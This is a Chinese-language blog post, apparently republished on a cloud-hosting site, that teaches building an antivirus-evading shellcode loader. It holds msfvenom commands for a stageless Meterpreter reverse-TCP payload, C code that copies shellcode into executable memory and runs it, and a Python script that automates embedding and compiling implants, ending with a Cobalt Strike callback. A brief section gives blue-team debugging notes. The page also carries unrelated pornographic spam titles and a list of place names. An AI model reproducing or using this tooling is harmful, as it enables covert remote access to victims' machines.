亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

通用Shellcode加載器怎么用

發布時間:2021-12-18 10:07:54 來源:億速云 閱讀:519 作者:小新 欄目:網絡安全

這篇文章主要介紹了通用Shellcode加載器怎么用,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

   Shellcode加載器是一種基本的規避技術。盡管shellcode加載器通常可以促進payload的初始執行,但是啟發式檢測方法仍可以標記payload的其他方面和行為。例如,很多安全產品可能會在內存中時對其進行檢測,或者將特定的網絡流量檢測為惡意。我們將研究一些適合與加載器結合使用的后期開發框架,并研究如何嵌入其他類型的二進制文件(例如.NET和已編譯的PE二進制文件)。

博客系列的第一部分將介紹使用Shellcode進行后期開發payload的基本要領。在第二部分中,我們將為加載器實現其他功能,并查看某些功能的一些優點和缺點。因為我們使用shellcode來避免基于簽名的檢測,所以重要的是限制安全解決方案創建啟動程序簽名的可能性。二進制混淆是避免基于簽名的檢測的一種潛在解決方案,我們將編寫一個python腳本來自動化加載器的生成和混淆。

Shellcode簡介

在攻擊中我們需要在目標上執行某些shellcode。諸如Metasploit和Cobalt Strike之類的后期開發框架都有自己的shellcode,但是這些框架中的payload由于被廣泛使用而具有很高的檢測率。但是,它們提供了一些功能,可以讓我們自由發揮。此外,使用易于檢測的shellcode將有助于我們確定加載器的回避功能在開發過程中是否正常運行。

Metasploit和Cobalt Strike提供both staged和stageless payload。使用both staged的payload時,shellcode會更小,從而導致啟動程序二進制文件更小。然而,與stageless payload相比,both staged的payload被發現的可能更大。這可能是因為來自服務端的網絡流量被標記為惡意,或者是因為檢測到了攻擊者用來執行最終payload的方法。在這片博客中,我們將使用stageless payload進行規避,因為我們不關心在將payload加載到內存之前的檢測。有關both staged與stageless payload的更多信息,請查看深入了解無負載計量表的負載 OJ Reeves的博客文章。

通用Shellcode加載器怎么用

上圖演示了如何使用msfvenom生成原始shellcode。我們指定payload連接的IP和端口,并將輸出保存到文件中。處理大文件時,該head命令只能用于打印第一個字符。在這里,我們使用該-c參數僅輸出前100個字符,然后我們可以將其通過管道傳遞xxd以獲得shellcode的十六進制轉儲。

msfvenom –p windows/meterpreter_reverse_tcp LHOST=IP LPORT=port > stageless_meterpreter.raw
head –c 100 stageless_meterpreter.raw | xxd

TheWover 的Donut項目可用于創建與位置無關的shellcode,該shellcode可以加載.NET,PE和DLL文件。該工具將允許我們通過支持其他payload類型來擴展加載器的可用性。使用Donut,我們可以輕松地為Mimikatz,Safetykatz和Seatbelt等工具生成shellcode。

剖析Shellcode加載器

shellcode加載器是用C編寫的,我們將使用Python自動插入shellcode并編譯二進制文件。要在Linux上編譯Windows可執行文件,我們將使用MinGW編譯器。

#include <stdio.h>
#include <windows.h>
using namespace std;
int main()
{
    char shellcode[] = "把shellcode粘貼到這里";
    LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, shellcode, sizeof shellcode);
    ((void(*)())lpAlloc)();
    return 0;
}

在這里,我們可以看到標準shellcode加載器的源代碼。在本博客系列中,我們將為該加載器添加功能。包括四個主要部分。首先,shellcode被定義為char變量,但是當前源代碼具有一個占位符字符串,該字符串將在以后自動對其進行修改。然后,我們使用VirtualAlloc為shellcode分配內存。重要的是要注意,此內存頁當前具有讀取,寫入和執行權限。之后,使用memcpy將shellcode移到新分配的內存頁面中。最后,執行shellcode。

我們可以使用Msfvenom,Cobalt Strike和Donut生成的shellcode由原始字節組成。因為我們希望將payload嵌入到源文件中;我們必須將shellcode格式化為十六進制表示形式。可以使用手動解決方案hexdump,但是稍后我們將在Python中自動執行此步驟。

通用Shellcode加載器怎么用

該hexdump命令將讀取原始的shellcode文件并返回十六進制格式,可以將其嵌入源代碼中。在上圖中,我們將輸出保存到文件中,然后使用該head命令來說明所返回的十六進制格式hexdump。

hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_format
head –c 100 hex_format

如果#replace_me#使用十六進制格式的shellcode 替換源文件中的字符串,則可以使用MinGW對其進行編譯。

i686-w64-mingw32-c++ shellcode_launcher.cpp -o launcher.exe

自動化

盡管我們可以格式化shellcode并將其手動插入到源文件中,但是我們將編寫一個簡短的Python腳本來自動執行此過程。Python腳本將需要三個文件操作。它必須讀取原始shellcode文件,讀取源文件,然后將格式化的源代碼寫入文件,然后可以將其編譯為最終二進制文件。

import binascii
import argparse
import subprocess
import os
def main(p_args):
    # Read source template
    with open("launcher_template.cpp", "r") as input_template:
        source_template = input_template.read()
    # Read input payload
    with open(p_args.input, "rb") as input_shellcode:
        raw_shellcode = input_shellcode.read()
    # Convert raw binary to formatted hex
    hex_data = binascii.hexlify(raw_shellcode).decode()
    hex_file_content = r"\x" + r"\x".join(hex_data[n : n+2] for n in range(0, len(hex_data), 2))
    # Insert the shellcode into the source code
    output_file = source_template.replace("#replace_me#", hex_file_content)
    # Write our formatted source file
    with open("compile_me.cpp", "w") as output_handle:
        output_handle.write(output_file)
    # Specify our compiler arguements
    compiler_args = []
    compiler_args.append("i686-w64-mingw32-c++")
    compiler_args.append("compile_me.cpp")
    compiler_args.append("-o")
    if len(p_args.output) > 0:
            compiler_args.append(p_args.output)
    else:
            compiler_args.append("shellcode_launcher.exe")
    # Compile the formatted source file
    subprocess.run(compiler_args)
    # Delete the formatted source file after it has been compiled
    os.remove("compile_me.cpp")
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Protect your implants')
    parser.add_argument("--input", help="Input file. Raw shellcode", type=str, required=True)
    parser.add_argument("--output", help="Specify file output", type=str, default="")
    args = parser.parse_args()
    main(args)

我們argparse用來確定輸入文件。通過使用binascii庫;我們可以不使用hexdump命令將原始shellcode轉換為十六進制。當前,源模板文件的路徑被硬編碼到python腳本中,但是可以很容易地對其進行修改,以允許用戶使用該argparse庫在不同的模板之間進行選擇。此外,我們可以自動編譯新格式化的源文件,然后在編譯完最終二進制文件后將其刪除。

通用Shellcode加載器怎么用

使用x32dbg分析加載器

如果我們在調試器中運行可執行文件,我們可以檢查如何執行shellcode。

通用Shellcode加載器怎么用

在上圖中,我們可以看到將shellcode復制到分配的內存頁后會發生什么VirtualAlloc。之后memcpy被調用時,shellcode的地址從堆棧到移動EAX寄存器。

通用Shellcode加載器怎么用

如果我們現在看一下中的值EAX;我們可以找到shellcode所在的地址。

通用Shellcode加載器怎么用

一旦我們有了地址;我們可以使用x32dbg中的“內存映射”標簽找到內存頁面。如上圖所示,包含shellcode的內存頁面當前具有讀取,寫入和執行權限。要注意的另一件事是,我們可以在中看到一個具有與payload相同大小的附加內存頁面.rdata。由于shellcode是未加密地嵌入二進制文件中的,因此防御者將能夠在不執行啟動程序二進制文件的情況下檢測到惡意負載。

通用Shellcode加載器怎么用

使用x32dbg,藍色團隊可以查看內存頁面中的內容并將其導出到文件中,以便以后進行進一步分析。對藍色團隊成員有用的注釋是,即使payload在嵌入發射器二進制文件之前已被加密;通過在調試器中逐步執行,仍可以轉儲未加密的payload。

通用Shellcode加載器怎么用

如果我們繼續逐步執行,我們可以看到call eax執行后,指令指針跳到了shellcode。現在,當我們正常繼續執行時,我們會在Cobalt Strike中收到客戶端連接。

感謝你能夠認真閱讀完這篇文章,希望小編分享的“通用Shellcode加載器怎么用”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

浦江县| 镇宁| 含山县| 高阳县| 静安区| 吕梁市| 临猗县| 彭阳县| 菏泽市| 无为县| 江川县| 礼泉县| 临朐县| 大连市| 竹山县| 盐源县| 青海省| 清河县| 巴彦淖尔市| 漠河县| 南安市| 扶沟县| 蒙阴县| 望奎县| 仪征市| 迁安市| 布尔津县| 高清| 昭通市| 云霄县| 尉犁县| 疏附县| 莱芜市| 金川县| 建湖县| 武定县| 郎溪县| 横山县| 龙江县| 五莲县| 石嘴山市|